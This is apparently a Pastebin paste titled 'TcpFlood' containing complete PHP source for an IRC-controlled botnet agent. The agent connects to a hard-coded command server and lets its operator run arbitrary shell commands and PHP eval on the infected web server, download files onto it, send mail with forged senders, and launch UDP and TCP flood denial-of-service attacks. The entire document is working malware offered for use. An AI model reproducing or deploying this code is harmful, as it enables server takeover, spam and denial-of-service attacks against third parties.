Advertisement
Joker0day

TcpFlood

Dec 20th, 2017
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.65 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4. ignore_user_abort(true);
  5.  
  6. $dir = getcwd();
  7. $uname= @php_uname();
  8.  
  9. function whereistmP()
  10. {
  11.         $uploadtmp=ini_get('upload_tmp_dir');
  12.         $uf=getenv('USERPROFILE');
  13.         $af=getenv('ALLUSERSPROFILE');
  14.         $se=ini_get('session.save_path');
  15.         $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  16.         if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
  17.         if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
  18.         if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
  19.         if(is_dir($uf) && is_writable($uf))return $uf;
  20.         if(is_dir($af) && is_writable($af))return $af;
  21.         if(is_dir($se) && is_writable($se))return $se;
  22.         if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
  23.         if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
  24.         return '.';        
  25. }
  26. function srvshelL($command)
  27. {
  28.         $name=whereistmP()."\\".uniqid('NJ');
  29.         $n=uniqid('NJ');
  30.         $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
  31.         win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
  32.         win32_start_service($n);
  33.         win32_stop_service($n);
  34.         win32_delete_service($n);
  35.         while(!file_exists($name))sleep(1);
  36.         $exec=file_get_contents($name);
  37.         unlink($name);
  38.         return $exec;
  39. }
  40. function ffishelL($command)
  41. {
  42.         $name=whereistmP()."\\".uniqid('NJ');
  43.         $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  44.         $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
  45.         while(!file_exists($name))sleep(1);
  46.         $exec=file_get_contents($name);
  47.         unlink($name);
  48.         return $exec;
  49. }
  50. function comshelL($command,$ws)
  51. {
  52.         $exec=$ws->exec("cmd.exe /c $command");
  53.         $so=$exec->StdOut();
  54.         return $so->ReadAll();
  55. }
  56. function perlshelL($command)
  57. {
  58.         $perl=new perl();
  59.         ob_start();
  60.         $perl->eval("system(\"$command\")");
  61.         $exec=ob_get_contents();
  62.         ob_end_clean();
  63.         return $exec;
  64. }
  65. function Exe($command)
  66. {
  67.         $exec=$output='';
  68.         $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  69.         if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
  70.         elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
  71.         elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
  72.         elseif(function_exists('shell_exec'))$exec=@shell_exec($command);
  73.         elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
  74.         elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
  75.         elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
  76.         elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
  77.         elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
  78.         elseif(extension_loaded('perl'))$exec=perlshelL($command);
  79.         return $exec;
  80. }
  81.  
  82. class pBot
  83. {
  84.  var $config = array("server"=>"158.69.198.184", "port"=>"443", "key"=>"", "prefix"=>"", "maxrand"=>"8", "chan"=>"#|web", "trigger"=>".", "password"=>"", "auth"=>"priv8.net");
  85.  var $users = array();
  86.  function start() {
  87.     while(true)
  88.     {
  89.         if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
  90.         $ident = $this->config['prefix'];
  91.         $alph = range("0","9");
  92.         for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)];
  93.         $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  94.         $this->set_nick();
  95.         $this->main();
  96.     }
  97. }
  98.  function main()
  99.  {
  100.     while(!feof($this->conn))
  101.     {
  102.     if(function_exists('stream_select'))
  103.     {
  104.     $read = array($this->conn);
  105.     $write = NULL;
  106.     $except = NULL;
  107.     $changed = stream_select($read, $write, $except, 30);
  108.     if($changed == 0)
  109.     {
  110.         fwrite($this->conn, "PING :lelcomeatme\r\n");
  111.         $read = array($this->conn);
  112.             $write = NULL;
  113.             $except = NULL;
  114.             $changed = stream_select($read, $write, $except, 30);
  115.         if($changed == 0) break;
  116.     }
  117.     }
  118.        $this->buf = trim(fgets($this->conn,512));
  119.        $cmd = explode(" ",$this->buf);
  120.        if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
  121.        if(isset($cmd[1]) && $cmd[1] =="001") { $this->join($this->config['chan'],$this->config['key']); continue; }
  122.        if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
  123.        if($this->buf != $old_buf)
  124.        {
  125.           $mcmd = array();
  126.           $msg = substr(strstr($this->buf," :"),2);
  127.           $msgcmd = explode(" ",$msg);
  128.           $nick = explode("!",$cmd[0]);
  129.           $vhost = explode("@",$nick[1]);
  130.           $vhost = $vhost[1];
  131.           $nick = substr($nick[0],1);
  132.           $host = $cmd[0];
  133.           if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
  134.           else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
  135.  
  136.           if(count($cmd)>2)
  137.           {
  138.              switch($cmd[1])
  139.              {
  140.                 case "PRIVMSG":
  141.                    if(true)
  142.                    {
  143.                       if(substr($mcmd[0],0,1)==".")
  144.                       {
  145.                          switch(substr($mcmd[0],1))
  146.                          {
  147.                             case "mail":
  148.                                if(count($mcmd)>4)
  149.                                {
  150.                                   $header = "From: <".$mcmd[2].">";
  151.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  152.                                   {
  153.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: failed sending.");
  154.                                   }
  155.                                   else
  156.                                   {
  157.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: sent.");
  158.                                   }
  159.                                }
  160.                             break;
  161.                             case "dns":
  162.                                if(isset($mcmd[1]))
  163.                                {
  164.                                   $ip = explode(".",$mcmd[1]);
  165.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  166.                                   {
  167.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  168.                                   }
  169.                                   else
  170.                                   {
  171.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  172.                                   }
  173.                                }
  174.                             break;
  175.                             case "uname":
  176.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  177.                                else { $safemode = "off"; }
  178.                                $uname = php_uname();
  179.                                $this->privmsg($this->config['chan'],"[\2info\2]: ".$uname." (safe: ".$safemode.")");
  180.                             break;
  181.                             case "rndnick":
  182.                                $this->set_nick();
  183.                             break;
  184.                             case "raw":
  185.                                $this->send(strstr($msg,$mcmd[1]));
  186.                             break;
  187.                             case "eval":
  188.            
  189.                     ob_start();
  190.                                 eval(strstr($msg,$mcmd[1]));
  191.                     $exec=ob_get_contents();
  192.                 ob_end_clean();
  193.                                $ret = explode("\n",$exec);
  194.                                for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  195.                             break;
  196.                             case "cmd":
  197.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  198.                                $exec = Exe($command);
  199.                                $ret = explode("\n",$exec);
  200.                                for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  201.                             break;
  202.                             case "ud.server":
  203.                                if(count($mcmd)>2)
  204.                                {
  205.                                   $this->config['server'] = $mcmd[1];
  206.                                   $this->config['port'] = $mcmd[2];
  207.                                   if(isset($mcmcd[3]))
  208.                                   {
  209.                                    $this->config['pass'] = $mcmd[3];
  210.                                    $this->privmsg($this->config['chan'],"[\2update\2]: info updated ".$mcmd[1].":".$mcmd[2]." pass: ".$mcmd[3]);
  211.                                   }
  212.                                   else
  213.                                   {
  214.                                      $this->privmsg($this->config['chan'],"[\2update\2]: switched server to ".$mcmd[1].":".$mcmd[2]);
  215.                                   }
  216.                   fclose($this->conn);             
  217.                                }
  218.                             break;
  219.                             case "download":
  220.                                if(count($mcmd) > 2)
  221.                                {
  222.                                   if(!$fp = fopen($mcmd[2],"w"))
  223.                                   {
  224.                                      $this->privmsg($this->config['chan'],"[\2download\2]: could not open output file.");
  225.                                   }
  226.                                   else
  227.                                   {
  228.                                      if(!$get = file($mcmd[1]))
  229.                                      {
  230.                                         $this->privmsg($this->config['chan'],"[\2download\2]: could not download \2".$mcmd[1]."\2");
  231.                                      }
  232.                                      else
  233.                                      {
  234.                                         for($i=0;$i<=count($get);$i++)
  235.                                         {
  236.                                            fwrite($fp,$get[$i]);
  237.                                         }
  238.                                         $this->privmsg($this->config['chan'],"[\2download\2]: file \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
  239.                                      }
  240.                                      fclose($fp);
  241.                                   }
  242.                                }
  243.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  244.                             break;
  245.                             case "udpflood":
  246.                                if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); }
  247.                             break;
  248.                             case "tcpconn":
  249.                                if(count($mcmd)>5) { $this->tcpconn($mcmd[1],$mcmd[2],$mcmd[3]); }
  250.                             break;
  251.                          }
  252.                       }
  253.                    }
  254.                 break;
  255.              }
  256.           }
  257.        }
  258.     }
  259.  }
  260.  function send($msg) { fwrite($this->conn,$msg."\r\n"); }
  261.  function join($chan,$key=NULL) { $this->send("JOIN ".$chan." ".$key); }
  262.  function privmsg($to,$msg) { $this->send("PRIVMSG ".$to." :".$msg); }
  263.  function notice($to,$msg) { $this->send("NOTICE ".$to." :".$msg); }
  264.  function set_nick()
  265.  {
  266.     $this->nick = "[Web]";
  267.     if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "";
  268.     else $this->nick .= "";
  269.     if(isset($_SERVER['SERVER_SOFTWARE']))
  270.     {
  271.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick .= "-A-";
  272.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick .= "-I-";
  273.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick .= "-X-";
  274.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"nginx")) $this->nick .= "-N-";
  275.        else $this->nick .= "-O-";
  276.     }
  277.     else
  278.     {
  279.        $this->nick .= "-C-";
  280.     }
  281.     $this->nick .= $this->config['prefix'];
  282.     for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9);
  283.     $this->send("NICK ".$this->nick);
  284.  }
  285.   function udpflood($host,$port,$time,$packetsize) {
  286.     $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  287.     $packet = "";
  288.     for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
  289.     $end = time() + $time;
  290.     $multitarget = false;
  291.     if(strpos($host, ",") !== FALSE)
  292.     {
  293.         $multitarget = true;
  294.         $host = explode(",", $host);
  295.     }
  296.     $i = 0;
  297.     if($multitarget)
  298.     {
  299.         $fp = array();
  300.         foreach($host as $hostt) $fp[] = fsockopen("udp://".$hostt,$port,$e,$s,5);
  301.  
  302.         $count = count($host);
  303.         while(true)
  304.         {
  305.                 fwrite($fp[$i % $count],$packet);
  306.             fflush($fp[$i % $count]);
  307.             if($i % 100 == 0)
  308.             {
  309.                 if($end < time()) break;
  310.             }
  311.             $i++;
  312.         }
  313.  
  314.             foreach($fp as $fpp) fclose($fpp);
  315.     } else {
  316.         $fp = fsockopen("udp://".$host,$port,$e,$s,5);
  317.         while(true)
  318.         {
  319.                 fwrite($fp,$packet);
  320.             fflush($fp);
  321.             if($i % 100 == 0)
  322.             {
  323.                 if($end < time()) break;
  324.             }
  325.             $i++;
  326.         }
  327.             fclose($fp);
  328.     }
  329.     $env = $i * $packetsize;
  330.     $env = $env / 1048576;
  331.     $vel = $env / $time;
  332.     $vel = round($vel);
  333.     $env = round($env);
  334.     $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: ".$env." MB sent / Average: ".$vel." MB/s ");
  335. }
  336.  function tcpconn($host,$port,$time)
  337.  {
  338.     $this->privmsg($this->config['chan'],"[\2TcpConn Started!\2]");
  339.     $end = time() + $time;
  340.     $i = 0;
  341.     while($end > time())
  342.     {
  343.     $fp = fsockopen($host, $port, $dummy, $dummy, 1);
  344.     fclose($fp);
  345.         $i++;
  346.     }
  347.     $this->privmsg($this->config['chan'],"[\3TcpFlood Finished!\3]: sent ".$i." connections to $host:$port.");
  348.  }
  349. }
  350. $bot = new pBot;
  351. $bot->start();
  352. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement